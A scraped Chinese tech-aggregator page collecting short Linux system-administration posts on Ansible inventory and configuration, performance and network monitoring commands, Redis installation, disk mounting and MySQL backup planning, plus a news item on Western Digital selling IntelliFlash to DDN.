数据专栏

智能大数据搬运工,你想要的我们都有

科技资讯:

科技学院:

科技百科:

科技书籍:

网站大全:

软件大全:

「深度学习福利」大神带你进阶工程师,立即查看>>>
西数退出存储系统市场?是,不过这里说的存储系统并不是普通玩家理解的闪存、硬盘之类的,这部分依然是西数的核心业务,而西数不干了的存储系统业务实际上是存储系统阵列,换句话说西数还是决定自己当个基础的元件供应商,不再自己做存储系统阵列卖给其他公司了。
即便如此,这样的决定还是让很多人意外,因为西数公司的IntelliFlash业务是2017年9月收购Tegile Systems闪存公司时才获得的,刚刚2年时间就卖掉了,实在有点不寻常,这要么是因为当初收购Tegile Systems闪存公司不是看重这部分业务,要么就是西数觉得存储系统业务玩不转,索性卖掉。
存储系统市场现在倒也不是夕阳产业,在存储系统、高性能计算、数据中心等领域很火,而且接手IntelliFlash业务的DDN公司这两年风头正劲,一年多来先后收购了多家存储系统公司或者业务,包括Intel公司的Lustre业务,还有混合阵列厂商Tintri、软件定义存储厂商Nexenta,现在又拿下了西数的IntelliFlash业务。
西数及DDN都没有公布具体的交易金额,预计在2020财年Q3季度中会产生每股0.2美元的非GAAP收益,不过这也会带来重组及其他费用,暂时还无法估计。
更多linux咨询请查看www.linuxprobe.com
系统运维
2019-10-02 22:55:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Linux 命令 分为:内部 命令 和外部命令。内部命令为Linux内核自带命令,执行效率高;外部命令需要安装后才能使用,为方便大家使用系统默认安装多种外部命令。
Linux命令是用户告诉计算机去执行什么操作的指令。
Linux命令分为:内部命令和外部命令。内部命令为Linux内核自带命令,执行效率高;外部命令需要安装后才能使用,为方便大家使用系统默认安装多种外部命令。
今天简单汇总90个Linux常用命令,希望能简便你的学习和工作。
此外,Linux命令中Ctrl的常见组合你知道几个? “Ctrl c ”结束正在运行的程序 “Ctrl d”退出 shell “Ctrl l”清屏=“Clear” “Ctrl a 切换到命令行开始 “Ctrl e”切换到命令行末尾 “Ctrl u”清除鼠标之前的内容 “Ctrl k”清除鼠标及之后的内容 “Ctrl y”在鼠标处粘贴剪切的内容 “Ctrl x u ”撤销操作 “Ctrl x e”打开编辑器输入命令并自动执行。如果未安装emacs编辑器,无法执行“ctrl x e”命令。 “fc”编辑并执行最近一条命令。 “!!”调用最近一次执行的命令。 本文地址: https://www.linuxprobe.com/linux-operational-command.html
系统运维
2019-10-02 17:39:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
# linux 挂载新的硬盘
![centos](https://www.centos.org/images/logo_small.png)
## 1、查看硬盘情况,物理盘和分区
fdisk -l
## 2、分区一个盘,sdb是个还没有分区的硬盘
fdisk /dev/sdb
输入 n p 1 w
n 表示新建分区
p 表示分区类型为主分区
1 表示分区编号为1
w表示保存并退出fdisk命令

## 3、格式化分区
mkfs.ext4 /dev/sdb1
## 4、挂载分区
mkdir /download
mount /dev/sdb1 /download
## 5、查看分区情况
df -h
系统运维
2019-10-02 11:27:00
「深度学习福利」大神带你进阶工程师,立即查看>>> Ansible是一个系列文章,我会尽量以通俗易懂、诙谐幽默的总结方式给大家呈现这些枯燥的知识点,让学习变的有趣一些。
前言
关于Ansible是什么,我在之前的文章中没有说;当然了,我这里也不会说。当你看到我写的这篇文章时,我想你已经知道了Ansible是什么了,如果您还不知道什么是Ansible是什么,那我的建议是先去百度一下,知道了Ansible是什么了,知道了Ansible能干什么了以后,再回过头来继续阅读我这里的总结。
在Ansible中,有两个非常重要的概念,就是管理主机和被管理远程主机。 管理主机:就是管理远程主机的主机;说简单点,就是安装Ansible整套软件的主机;所有的Ansible管理命令都是从这台管理主机发出的,通过这台管理主机,从而实现对其它远程主机的管理; 被管理远程主机:顾名思义,就是执行具体动作的主机;Ansible管理主机下达的命令,最终都要到被管理远程主机上去落地执行。
上面也说了,管理主机就是安装Ansible的主机,那被管理远程主机的信息又在哪里配置呢?下面就细说这个被管理远程主机在Ansible中的全套配置和流程。
inventory简介
inventory,也就是主机清单。在大规模的配置管理工作中,特别是云服务提供商或者IDC厂家,需要管理不同业务的不同机器,这些机器的信息都存放在Ansible的inventory组件里面。在我们使用Ansible进行远程主机管理时,必须先将主机信息存放在inventory里面,这样才能使用Ansible对它进行操作。默认情况下,Ansible的inventory是一个静态的INI格式的文件,在上一篇《 Ansible配置文件ansible.cfg详解 》中说到了defaults配置中的inventory选项,这个inventory选项就是配置inventory文件的地方。当然了,我们还可以通过ANSIBLE_HOSTS环境变量指定或者运行ansible和ansible-playbook的时候用 -i 参数临时设置。
定义主机和主机组
先来看个我在测试环境使用的inventory文件内容。 192.168.1.2 192.168.1.4 [web] 192.168.1.2 192.168.1.4 [mysql-db] 192.168.1.5 192.168.1.6 [east:children] web mysql-db
上述就是我的一个简单配置,将来你在生产环境配置inventory的话,大抵上也就是这个样子。下面我们分别细说一下上面的这个inventory配置文件。 前两行我们定义了两个单独的主机,对于单个主机,我们可以针对单个主机进行配置,包括变量等; [web] 和 [mysql-db] 是我们定义的两个主机组;我们可以根据业务、地理位置等因素,对主机进行按组划分,这样方便统一批量管理; [east:children] 是我们定义的一个包含其它组的组;分组是支持嵌套的,这样就更加方便了分组的管理。
定义了主机或主机组以后,我们就可以直接在命令中使用这些主机或主机组,比如这样: ansible 192.168.1.2 -m ping ansible web -m ping ansible east -m ping
定义inventory列表
默认情况下,Ansible的inventory文件是一个INI的静态文件,其实Ansible还支持多个inventory文件,这样我们就可以非常方便的管理不同业务或者不同环境的机器了。
要定义inventory列表,我们先新建一个存放inventory文件的文件夹,然后将ansible.cfg配置文件中inventory的值修改为这个新建的文件夹的路径。比如我在测试环境新建了一个名为inventory文件夹来存放inventory配置文件。
使用 tree /home/jelly/ansible/inventory 命令输出结果如下: /home/jelly/ansible/inventory/ |---web |---db
在这里,我分别定义了两个inventory配置文件,其中web文件中的内容如下: [web] 192.168.1.2 192.168.1.4
其中db文件中的内容如下: [mysql-db] 192.168.1.5 192.168.1.6
接下来,我们就可以正常使用这些inventory中的主机配置信息了,比如可以用以下命令来看看分组下的主机进行配置验证: ansible mysql-db --list-hosts
以后我们就可以使用这种方式来搞定inventory的配置了,当然了,对于管理主机少,配置简单的环境,使用这种方式完全是没有问题的。但是对于上千台、上万台的主机,很显然这种方式就大大不方便了,太落后了。对于这种上千台、上万台的主机的环境,我们就需要动态的从CMDB中拉去主机配置信息了,此时就要说到下面的动态inventory了。
动态inventory
上面也说到了,对于那些云服务提供商或者IDC厂家会有大量的主机列表;如果手动维护这些列表将是一个非常繁琐的事情。其实Ansible是支持动态的inventory的,动态inventory就是Ansible所有的inventory文件里面的主机列表和变量信息都是从外部拉取的。比如我们可以从CMDB系统和Zabbix监控系统拉取所有的主机信息,然后使用Ansible进行管理。这样一来我们就可以很方便的将Ansible与其它运维系统结合起来。关于引用动态inventory的功能配置起来是非常简单的;我们只需要把ansible.cfg文件中inventory的定义值改成一个执行脚本即可。这个脚本的内容不受任何编程语言限制,但是这个脚本使用参数时有一定的规范并且对脚本执行的结果也有要求。这个脚本需要支持两个参数: --list 或者 -l :这个参数运行后会显示所有的主机以及主机组的信息(JSON格式); --host 或者 -H :这个参数后面需要指定一个host,运行结果会返回这台主机的所有信息(包括认证信息、主机变量等),也是JSON格式。
下面就是我写的一个通过Python脚本动态获取主机列表和主机信息的脚本,由于脚本是用来演示的,所以没有从数据库中获取主机列表和主机配置信息,在实际开发中,我们可以修改为从数据库获取对应的数据: #!/usr/bin/env python3 # -*- coding:utf-8 -*- import argparse import json def lists(): r = {} h = ['192.168.1.2', '192.168.1.4'] hosts = {'hosts':h} r['web'] = hosts return json.dumps(r, indent=4) def hosts(name): r = {'ansible_ssh_user':'jelly', 'ansible_ssh_pass':'123456'} return json.dumps(r) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-l', '--list', help='hosts list', action='store_true') parser.add_argument('-H', '--host', help='hosts vars') args = vars(parser.parse_args()) if args['list']: print(lists()) elif args['host']: print(hosts(args['host'])) else: parser.print_help()
接下来,我们先不修改ansible.cfg中的inventory配置,直接在命令行指定配置文件进行运行: ansible -i inventoryDemo.py web -m ping
输出结果如下: 192.168.1.2 | SUCCESS => { "changed": false, "ping": "pong" } 192.168.1.4 | SUCCESS => { "changed": false, "ping": "pong" }
在生产环境,我们需要将ansible.cfg中的inventory配置指定为这个python脚本的路径,后续正常执行各个ansible命令即可,比如这样: ansible web -m ping
inventory内置参数
Ansible inventory中可以配置很多内置的一些参数,这些参数在我们实际工作中非常有用,我们可以直接在inventory文件中定义它,也可以在动态的inventory中使用它们。这里对这些常用inventory内置参数进行一下简单的总结:
参数名 参数说明 ansible_ssh_host 定义主机的ssh地址
ansible_ssh_port 定义主机的ssh端口
ansible_ssh_user 定义主机的ssh认证用户
ansible_ssh_pass 定义主机的ssh认证密码
ansible_sudo 定义主机的sudo用户
ansible_sudo_pass 定义主机的sudo密码
ansible_sudo_exe 定义主机的sudo路径
ansible_connection 定义主机连接方式;与主机的连接类型.比如:local,ssh或者paramiko;Ansible 1.2以前默认使用paramiko。1.2以后的版本默认使用‘smart’,‘smart’方式会根据是否支持ControlPersist,来判断ssh方式是否可行
ansible_ssh_private_key_file 定义主机私钥文件
ansible_shell_type
ansible_python_interpreter
定义主机shell类型
定义主机python解释器路径
总结
inventory是ansible中一个非常重要的概念,只有完全掌握了inventory的配置,我们才会知道我们需要对哪些主机做哪些事。希望我这里对inventory的总结能够更好的帮助你理解inventory。因为inventory是如此的重要,所以在后续的文章中,我还会总结到inventory的一些其它用法。最后,如果觉的还不错,可以点击下方的“打赏”哦。
2019年6月16日,于内蒙古呼和浩特。
从最基础的编程语法,到高深的编程技巧;从最简单的学习计划,到长远的职业规划;果冻想分享的不仅仅是一篇文章,更多的是对编程的挚爱和执着,对人生的享受和理解;不管你是IT菜鸟,还是编程老手,“果冻想”都值得你关注。
系统运维
2019-10-02 10:57:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
监控io性能 有时候,cpu占用率不高,但是负载却很高 这种情况可能是由于 io 性能不足引起的 可以使用 iostat 命令查看磁盘状态 在安装sysstat包的时候,就已经包含了 iostat 命令 可以直接使用 iostat 查看磁盘状态 也可以使用 iostat 1 每秒输出一次磁盘状态 一个重要的用法是 iostat -x 参数 -x 可以查看到一个重要的数据 如上图所示,使用x参数,可以查看到 %util 这一列数据 cpu的使用时间里面,有两部分 一部分是 处理进程计算的时间 一部分是 等待 io 的时间 某些时候要通过磁盘拿到数据才能进行计算处理 或者要把一些数据进行保存写入磁盘 磁盘读写的这个时间就是io等待时间 cpu需要读取磁盘数据或者写入磁盘数据才能进行下一步动作 这个数据存取的时间就是cpu的io等待时间 %util 就是 io 等待时间 占 cpu总时间的百分比 如果磁盘的 %util 列的值很大,达到50%,60% 说明磁盘io性能不足,导致io等待时间太长 一般来说,%util 值大,磁盘读写量都会很大,因为频繁读取 但是如果出现,%util值大,但是磁盘读写量却不大 说明这个磁盘可能出现了问题,也许需要更换磁盘了 如果想知道哪一个进程在频繁读写磁盘 可以使用 iotop 命令 这个命令不是默认安装的,需要进行安装 使用 yum install -y iotop 进行安装 如图,直接使用 iotop 命令就可以进入这个界面 也是动态显示数据的界面 看 IO 列就可以知道进程的io占比 默认排序规律是 io 占比高的进程在上面
free命令 free命令可以查看内存使用情况 使用 free 命令会出现上图数据 有三行数据,第一行是列名称,第二行是内存数据,第三行是交换分区的数据 主要看第二行内存数据 第二行数据,第一列 total 是内存总大小,单位是kb 如图,还可以使用两个参数,-m 或者 -h 参数 m 的意思是,把数据的显示单位变成 MB,原本是 kb 的 参数 h 的意思是,在数据后面加上更容易阅读的单位显示 可以看到,使用参数 h 之后,每个数据后面都有单位显示了 第二列数据used是 使用了多少内存 第三列数据free是 剩余多少内存 但是有一个问题,就是 used + free 不等于 total 这是因为 有一部分内存 被分配给了 buff/cache buff/cache 是 缓冲/缓存 因为磁盘速度与cpu速度差距太大,所以中间需要内存做缓冲 如上图,数据从磁盘到cpu,经过内存的部分就是 cache 缓存 数据从cpu到磁盘,经过内存的部分就是 buffer 缓冲 最后一列数据 available 的数值是 free的值 + 还没有被使用的 buff/cache 的值 所以内存真正可以使用的空间值是 available 的值,而不是 free 的值 想看内存真正剩余空间应该看 available
ps命令 ps 可以查看系统内,进程的状况 一般使用 ps aux 命令查看 这样可以看到系统所有的进程的情况 top命令是实时的,ps命令则是快照 就是使用命令那个时间点的进程情况,而不是实时更新信息的 如图,可以看到 cpu 和 内存 的占用情况 如上图,使用管道符,配合 grep 使用可以查看某个进程是否存在 上图例子,查看 nginx 和 mysql 进程是否存在,还有进程的信息 另外一种ps命令的使用方法是 ps -elf 上图是使用 ps -elf 命令后出现的进程信息 ps aux 和 pa -elf 都可以用来查看进程的情况 使用 kill + 进程的PID 可以杀死一个进程 如果想查看一个进程的目录,要用到 PID proc目录下面有很多数字目录 这么数字目录的数字就是进程的PID 所以如图,ls -l /proc/2729 就可以查看一个进程目录的内容 如图,ps aux 显示的信息 VSZ 是虚拟内存 RSS 是物理内存 TTY 是进程在哪个TTY上 STAT 是进程状态 START 是进程开始的时间 TIME 是进程运行了多久 COMMAND 是进程名称等信息 主要需要注意的是 STAT 列的信息 STAT有各种不同的类型 例如,类型 D 是不可中断的进程类型 类型D的进程因为会影响程序的结果,所以是不能中断的 类型D的进程对系统的负载影响比较大 有很多 D类型 的进程的话,系统负载会很大 R 是指某个时间段内在使用cpu的进程 S 是睡眠状态的进程,在需要的时候会被cpu唤醒 如图,S+ 表示这个进程是在前台运行的 符号 + 表示前台,有 + 的进程类型,就表示这个进程是前台进程 T 表示被暂停的进程,比如使用 ctrl + z 暂停一个程序 这个程序的进程就进入了 T 的状态 小写的 s 代表主进程 如图,nginx 的进程里面,分为 父进程 和 子进程 父进程类型是 Ss 说明父进程是主进程 看用户,父进程是 root 启动的 子进程是其它用户启动的 如果一个进程有多个线程,就会显示 l 状态
查看网络状态 netstat 命令可以查看网络状态 netstat 可以查看TCP/IP的通信状态 服务器要对外通信,需要一个端口 外部数据通过端口进入服务器 要获取这些数据,需要对端口进行监听 使用 netstat -lnp 命令可以查看监听端口信息 如图,查看监听端口信息 tcp是ipv4协议,tcp6是ipv6协议,udp是udp协议 State 表示状态,下面是 LISTEN 表示监听状态 第一行信息,最后一列显示,sshd,表示这是远程连接 Local Address 列下面,22 表示是通过 22 端口连接的 socket 文件是用来进程间通信的,前提是在同一台服务器 netstat 也可以查看系统里面有哪里socket文件被监听 如图,这就是一个被监听的socket文件 netstat主要还是查看端口的监听信息 还有一种用法 netstat -an 这个命令可以查看 TCP/IP 状态 参数 an 查看的是所有的连接状态 也可以查看指定的信息 如图,-ltnp 就是只查看 tcp协议的信息 第二个 -ltunp 就可以查看 tcp协议和udp协议的信息 netstat -an | awk '/^tcp/ {++sta[$NF]} END {for(key in sta) print key,"\t",sta[key]}' 以上命令可以统计各种TCP/IP状态的进程的数量 其中 ESTABLISHED 的数量可以代表并发连接数 并发连接就是指同一时间段,有多少客户端在连接服务端 一般来说,ESTABLISHED 的数量在1000以下或者几千左右 命令 ss -an 是一个类似 netstat 的命令 也可以查看 TCP/IP 的状态 如图,使用 grep 匹配状态为 LINTEN 的进程 但是 ss 命令的缺点是,不会显示进程的名字
linux下抓包 命令 tcpdump 是用来抓包的 受到网络攻击的时候,网卡流量会有异常 进来的包可能会超过1万,想知道有什么包进来,可以使用 tcpdump tcpdump命令如果不存在,就需要安装包 使用命令 yum install -y tcpdump 使用上图命令就可以看到许多信息 参数 -nn 可以显示主机ip地址和端口号 如上图,这是 ip 地址,22是接受数据的端口 如上图,如果不使用 -nn 参数 那么出来的数据原来的ip地址的位置就变成了主机名称 端口号的位置,变成了 .ssh 参数 -i 后面接 网卡的名称 ens33 这样看这个网卡收到的数据 这些信息主要分为几个部分 如图,第一部分是时间信息 第二部分是 源ip地址和端口 第三部分是 目的ip地址和端口 源ip就是发送数据的一方,目的ip是接受数据的一方 后面的部分就是 包 的一些信息 有一种DDos攻击叫做 udp flood udp的包有可能是DDos攻击 遇到这些攻击就需要接入防攻击的设备或者请专业的人员处理 tcpdump 可以显示指定端口的包 使用 port参数 后面接端口号 22 就可以抓 ip地址端口号为22 的包 还可以使用 not 和 and 进行条件选择 如图,not port 意思是抓 ip端口不是 22 的包 后面是 and 表示还要符合and后面的条件 参数 host 可以指定ip地址,后面接ip地址 192.168.0.100 意思就是抓 ip端口不是22 并且 ip地址为 192.168.0.100 的包 还可以指定长度,指定个数来抓取数据包 参数 -c 可以指定抓包个数,后面接 100 表示抓100个包 如图,可以抓取数据包,并保存到一个文件里面 参数 -w 就可以指定保存到哪个文件里面 这里是抓取 100 个包保存到 1.cap 里面 不过使用这个命令之后,系统并没有反应,因为系统没有产生数据包,所以没有东西抓取 所以可以复制一个虚拟终端,输入一些命令,就会产生一些数据包 这里就可以抓取到,抓够100个包就会自动退出 文件 1.cap 如果使用 cat 读取,会发现里面都是乱码 使用 tcpdump -r /tmp/1.cap 就可以读取1.cap文件的数据流的信息 如图,下面显示的就是数据流信息,也是数据的流向 写入1.cap的信息时数据包的信息 但是使用 -r 只能读取数据流向的信息,不能读取到数据包里面的内容 安装 wireshark 包,可以使用命令 tshark 这是一个类似 tcpdump 的工具 使用上图命令,可以查看指定网卡,指定端口,web服务的信息 上图是使用命令后,显示的信息 可以看到,访问的ip地址,域名,GET操作等信息 不过这个命令在虚拟机上不能实验,因为虚拟机没有web服务
linux网络相关 安装包 yum install -y net-tools 安装好之后,就可以使用命令 ifconfig 查看网卡ip了 ifconfig 有一个参数 -a 使用 ifconfig 查看网卡信息的时候 如果一个网卡没有ip,可能是网卡被关闭了,那么就不会显示 这种时候,使用 ifconfig -a 就可以让没有ip的网卡也显示出来 有两个跟网卡有关的命令 ifdown 和 ifup ifdown 是关闭网卡 ifup 是开启网卡 如果在 xshell 使用这个命令 因为xshell远程连接主机是通过这个网卡连接的 所以如果在xshell关闭这个网卡,远程连接会自动中断 要继续远程连接,需要先在主机终端使用 ifup ens33 打开网卡 然后才可以继续远程连接 有时候需要对一个网卡进行更改 比如更改网关,增加dns等,更改之后就需要重启服务 但是重启服务会把所有网卡都重启,现在只需要重启指定的网卡,其它不用动 这种时候,就可以使用 ifdown,ifup 来操作 但是有个问题,如果想要更改的是远程连接正在使用的网卡 如果关闭,就不能远程连接启动了 如上图,这种时候,把 ifdown 和 ifup 写在一条命令里面 这样使用命令后,网卡会自动关闭,然后自动重启 这样就可以远程连接继续使用了 还可以增加虚拟网卡 目前系统里面有 ens33 和 lo 两个网卡 在不增加物理网卡的情况下,增加新的网卡 可以设置虚拟网卡,然后在虚拟网卡上设置新ip 首先,cd 进入网卡配置文件所在的目录里面 然后把ens33网卡的配置文件ifcfg-ens33 复制一份,然后重命名为 ifcfg-ens33:0 上图命令冒号 : 前面加 \ 是因为需要脱义为普通字符,不脱义就是命令字符了 然后使用 vi ifcfg-ens33:0 编辑该配置文件 如图,把NAME的值改为 ens33:0 ,原来的值是ens33 这里冒号 : 不需要脱义,因为这个值是名称字符串,不会把冒号错认为命令字符 DEVICE的值也改为 ens33:0 然后 IPADDR 的值也修改一下,把最后一列修改为跟原来的值不同 后面两行数据 GATEWAY 和 DNS1 可以删除,因为别的网卡里面已经配置了 然后保存退出 如图,使用命令 ifdown ens33 && ifup ens33 关闭然后重启 ens33 网卡 然后再使用 ifconfig 查看网卡信息 可以看到多了一个 ens33:0 的网卡信息 这样就成功设置了虚拟网卡 后面 lvs 或者 keepalived 会用到虚拟网卡 一台服务器连接了一根网线 但是不确定服务器跟网线是否连接成功 如果人在机房可以直接过去看,但是如果人不在机房,而是远程连接 使用上图命令 mii-tool ens33 然后看下面的返回信息最后面显示, link ok 说明网线连接没有问题 但是有些服务器会提示 not support 表示不支持这个命令 这种时候可以使用下图命令 ethtool ens33 这个命令也可以看网线是否连接 看命令返回信息的最下面显示,Link detected: yes 这就表示网线连接没问题 上图是一个查看服务器网卡连接的例子 使用 mii-tool + 网卡名称 查看这台服务器上的网卡是否连接了网线 可以看到,em3是link ok 连接没有问题,em4是 no link 说明没有连接网线 上图命令可以修改主机名称 hostname 命令可以显示当前主机名 不过shell显示的主机名还没变,重新登录就会改变 也可以使用 bash 进入子shell也会改变 上图是 主机名称 的配置文件 上图是 DNS 的配置文件 上图是修改网卡DNS,增加了第二个DNS的信息 然后关闭重启网卡 然后再 cat /etc/resolv.conf 这个DNS的配置文件 可以看到 resolv.conf 的内容已经增加了一个DNS的信息 所以 resolv.conf 的信息是由网卡里面配置的DNS信息而来的 如果想临时增加 DNS 可以直接修改 resolv.conf 这个配置文件 不过每次网卡重启后,网卡内的DNS信息都会把 resolv.conf 里面的DNS信息覆盖掉 上图 cat hosts文件的内容 这个 hosts 文件是 linux 和 windows 都有的文件 这个文件可以修改域名解析 举例,使用命令 ping www.qq123.com 根据对这个域名的解析 会连接到 www.qq123.com 对应的公网 ip 地址去 现在的目的是,不希望别人通过这台电脑连接到 www.qq123.com 对应的ip地址 当其他人通过这台电脑 ping www.qq123.com 的时候 要让他连接到我自定义的ip地址去,而不是 www.qq123.com 对应的公网ip地址 如果,使用 vim 打开 /etc/hosts 文件 如图,在下面编辑输入,自定义ip + 域名 然后保存退出 如图,再 ping 这个域名,就会连接到刚才自定义的ip去 这个修改只在本机生效,用别的电脑ping这个域名就不会连接到自定义ip去 如图,还可以 多个域名 指向 同一个ip 不同域名之间用 空格 分隔 还有一种情况,如果有同一个域名,指向多个ip ping 这个域名的时候会指向哪一个ip呢? 这种时候,会指向最下面一行的ip 举例,有三行 ip 对应的都是 同一个域名 ping这个域名的时候,就会指向 第三行 ip ,上面的无效
系统运维
2019-10-01 22:48:00
「深度学习福利」大神带你进阶工程师,立即查看>>> Ansible是一个系列文章,我会尽量以通俗易懂、诙谐幽默的总结方式给大家呈现这些枯燥的知识点,让学习变的有趣一些。
前言
此时外面小雨淅淅沥沥的下着,周末,慵懒的周末,无聊到极点才打开电脑,回头一看,都有小半个月没有看技术书籍了,颓废就像洪水一样,泛滥到无可收拾。技术人,一天不看技术,都会感到空虚,但是最近生活的打击一个接一个,让人措手不及,防不胜防;工作中的忙碌,让自己就像无头苍蝇一样,到处乱撞。
继续自己的博客之路,近期准备将Ansible相关的内容整理一下,和大家分享。
优先级说明
熟悉Linux运维的同学,对于这个就非常有经验了。在Linux中,基本上99%的软件都有一个配置文件,而这些配置文件中配置了这些软件的运行方式等一些属性。同时,根据存放位置的不同,同一个软件,同样的配置文件的使用优先级也是不一样的。在Ansible中,它的配置文件是一个名为 ansible.cfg 的配置文件,ansible.cfg配置文件是以ini格式存储配置数据的。但是ansible.cfg配置文件可以存放在不同的目录,但只有一个可用,在运行Ansible命令时,Ansible将会按照预先设定的顺序查找配置文件,检查到哪个就用哪个。Ansible预先设定的优先级顺序如下: ANSIBLE_CFG :首先,Ansible命令会先检查环境变量,及这个环境变量将指向的配置文件; ./ansible.cfg :其次,将会检查当前目录下的ansible.cfg配置文件; ~/.ansible.cfg :再次,将会检查当前用户home目录下的 .ansible.cfg 配置文件; /etc/ansible/ansible.cfg :最后,将会检查在安装Ansible时自动生成的配置文件。
几乎所有的配置项都可以通过Ansible的playbook或环境变量来重新赋值,所以当你怎么都不知道这个变量在哪里定义的时候,不妨去看看环境变量里看看。根据我这么多年的运维经验来说,我建议使用 ~/.ansible.cfg 作为配置文件使用,这样就可以实现每个用户都有自己独自的配置文件,不污染其它用户正常使用Ansible,同时也方便进行选项配置。 由于Ansible本身没有服务的概念,所以只要配置修改后配置将马上生效。
配置选项详解
到目前为止,我还没有见到一个配置项超级少,配置超级简单的配置文件;同样的,Ansible的配置文件也不简单,配置项超级多;但是,二八法则同样也适用于这些配置文件,20%的配置项决定了80%的功能,只有那20%的配置项是我们需要去关心的。所以,大家不要害怕,下面我们就将这20%常用的选项进行一一说明和总结。 defaults配置
配置项 说明 默认值 inventory ansible inventory文件路径 /etc/ansible/hosts
library ansible模块文件路径 /usr/share/my_modules/
remote_tmp ansible远程主机脚本临时存放目录 ~/.ansible/tmp
local_tmp ansible管理节点脚本临时存放目录 ~/.ansible/tmp
forks ansible执行并发数 5
poll_interval ansible异步任务查询间隔 15
sudo_user ansible sudo用户 root
ask_sudo_pass 运行ansible是否提示输入sudo密码 True
ask_pass 运行ansible是否提示输入密码 True
transport ansible远程传输模式 smart
remote_port 远程主机SSH端口 22
module_lang ansible模块运行默认语言环境 C
gathering facts信息收集开关定义 smart
roles_path ansible role存放路径 /etc/ansible/roles
timeout ansible SSH连接超时时间 10
remote_user ansible远程认证用户 root
log_path ansible日志记录文件 /var/log/ansible.log
module_name ansible默认执行模块 command
executable ansible命令执行shell /bin/sh
hash_behaviour ansible主机变量重复处理方式 replace
private_role_vars 默认情况下,角色中的变量将在全局变量范围中可见。 为了防止这种情况,可以启用以下选项,只有tasks的任务和handlers得任务可以看到角色变量 yes
vault_password_file 指定vault密码文件路径
ansible_managed 定义的一个Jinja2变量,可以插入到Ansible配置模版系统生成的文件中 Ansible managed
display_skipped_hosts 开启显示跳过的主机 True
error_on_undefined_vars 开启错误,或者没有定义的变量 False
action_plugins ansible action插件路径
cache_plugins ansible cache插件路径
callback_plugins ansible callback插件路径
connection_plugins ansible connection插件路径
lookup_plugins ansible lookup插件路径
inventory_plugins ansible inventory插件路径
vars_plugins ansible vars插件路径
filter_plugins ansible filter插件路径
terminal_plugins ansible terminal插件路径
strategy_plugins ansible strategy插件路径
fact_caching
fact_caching_connection
定义ansible facts缓存方式
定义ansible facts缓存路径
memory

privilege_escalation配置
配置项 说明 默认值
become 是否开启become模式 True
become_method 定义become方式 sudo
become_user
become_ask_pass
定义become方式
是否定义become提示密码
root
False
总结
通过一个软件的配置文件,我们大体能知道这个软件支持的功能,就像我们在阅读源码一样,熟悉了目录结构后,就是开始阅读配置文件。这篇文章对Ansible的功能配置文件 ansible.cfg 进行了一个整体的总结,同时也对一些常用的配置选项进行了重点说明。这里说的配置项虽然都是一些简单的内容点,但是却是后续学习的基础和根本,希望大家对这里的配置选项有一个整体的记忆和印象,在后续的学习中,可以快速的回忆起这些内容。最后,如果觉的还不错,可以点击下方的“打赏”哦。
2019年6月15日,于内蒙古呼和浩特。
从最基础的编程语法,到高深的编程技巧;从最简单的学习计划,到长远的职业规划;果冻想分享的不仅仅是一篇文章,更多的是对编程的挚爱和执着,对人生的享受和理解;不管你是IT菜鸟,还是编程老手,“果冻想”都值得你关注。
系统运维
2019-10-01 22:12:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
centos7 安装 redis
CENTOS7下安装REDIS
and
一、安装redis
1、下载redis安装包 wget http://download.redis.io/releases/redis-5.0.6.tar.gz
2、解压压缩包 tar -zxvf redis-5.0.6.tar.gz
3、yum安装gcc依赖 yum install gcc
4、跳转到redis解压目录下 cd redis-5.0.6
5、编译安装 make MALLOC=libc  
将/usr/local/redis-5.0.6/src目录下的文件加到/usr/local/bin目录
cd src && make install
二、启动redis的三种方式
先切换到redis src目录下
pwd /root/redis-5.0.6/src
1、直接启动redis
./redis-server
redis启动成功,但是这种启动方式需要一直打开窗口,不能进行其他操作,不太方便。
按 ctrl + c可以关闭窗口。
  
2、以后台 进程 方式启动redis 修改redis.conf文件
将 daemonize no 修改为 daemonize yes   2. 指定redis.conf文件启动,到src目录下
./redis-server /root/redis-5.0.6/redis.conf [root@iZwz991stxdwj560bfmadtZ src]# ./redis-server /usr/local/redis-5.0.6/redis.conf 18713:C 13 Dec 13:07:41.109 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo 18713:C 13 Dec 13:07:41.109 # Redis version=5.0.6, bits=64, commit=00000000, modified=0, pid=18713, just started 18713:C 13 Dec 13:07:41.109 # Configuration loaded
3.关闭redis进程
首先使用ps -aux | grep redis查看redis进程 ps -aux | grep redis
使用kill命令杀死进程 kill -9 18714  
3、设置redis开机自启动 在/etc目录下新建redis目录
mkdir redis
[root@iZwz991stxdwj560bfmadtZ etc]# mkdir redis 将/usr/local/redis-5.0.6/redis.conf cp /root/redis-5.0.6/redis.conf /etc/redis/6379.conf 拷贝redis到/etc/init.d目录下 cp /root/redis-5.0.6/utils/redis_init_script /etc/init.d/redis 按照我的另一篇博客做自启动 https://my.oschina.net/u/4094532/blog/3113244
###怎样使用redis
一、连接
本地连接 redis-cli 本地utf8连接,可以显示中文 redis-cli --raw 远程连接 redis-cli -h host -p port -a password
二、查看redis服务是否启动,反馈PONG即表示服务已经启动
PING
三、设置、查看、删除key
SET runoobkey redis GET runoobkey DEL runoobkey  
系统运维
2019-10-01 21:40:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
nologin 的用户被禁止登录,也就是不能被直接使用。
那么这样的用户要来干什么?
其实我们大部分的服务器管理环境都会创建一个默认名 www 的用户,而该用户便是 nologin 的。
这样的用户意在被 root 用户切换到该用户执行特定的程序。
这样可以确保程序即使被篡改,也会受到权限限制而不是以 root 权限肆意妄为。
所以便有了如下这般用法: runuser www -s /bin/bash -c my_command
-s /bin/bash 便是把 /sbin/nologin 在执行命令时换做 /bin/bash 这样,用以在此次执行程序。
系统运维
2019-10-01 11:54:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
说明 功能需求: 每天备份一次 [周末做下周的全量备份, 周一到周六做周末的全量备份 / 周一到周六每天做上一天的增量备份] 备份前检测全量备份是否存在 如果不存在则创建全量备份 将数据备份到远程服务器 服务器信息 系统: CentOS-7.6 软件版本: MySQL-5.7 percona-xtrabackup-24 服务器2台: 192.168.2.71 安装(sync mysql percona-xtrabackup) 192.168.2.72 安装(sync) 创建备份目录 /home/backupmysql 服务器最小化安装需要 rsync(远程备份用) 安装命令 [ yum install -y rsync ] 注意: MySQL-8 版本备份软件版本不通用需要到官方下载
